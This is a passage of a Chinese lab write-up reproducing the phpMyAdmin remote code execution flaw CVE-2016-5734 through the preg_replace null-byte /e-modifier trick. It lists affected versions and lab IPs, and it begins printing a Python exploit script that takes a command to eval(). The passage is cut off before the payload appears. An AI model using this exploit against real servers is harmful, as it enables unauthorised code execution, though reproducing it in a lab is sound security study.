PhpMyAdmin 远程代码执行漏洞 (CVE-2016-5734)复现

0x01 漏洞介绍

1. 漏洞描述

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中，将用户输入的信息拼接进preg_replace函数第一个参数中。
在PHP5.4.7以前，preg_replace的第一个参数可以利用\0进行截断，并将正则模式修改为e。众所周知，e模式的正则支持执行代码，此时将可构造一个任意代码执行漏洞。

2. 漏洞编号
   CVE-2016-5734

3. 受影响版本
   4.0.10.16之前4.0.x版本
   4.4.15.7之前4.4.x版本
   4.6.3之前4.6.x版本（实际上由于该版本要求PHP5.5+，所以无法复现本漏洞）

0x02 环境部署

搭建一次，复现百次
靶机 ip：192.168.30.209
kali ip：192.168.30.182

0x03 漏洞复现

漏洞利用脚本

#!/usr/bin/env python

import requests
import argparse
import sys

__author__ = "@iamsecurity"

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("url", type=str, help="URL with path to PMA")
    parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
    parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
    parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
    parser.add_argument("-d", "--dbs", type=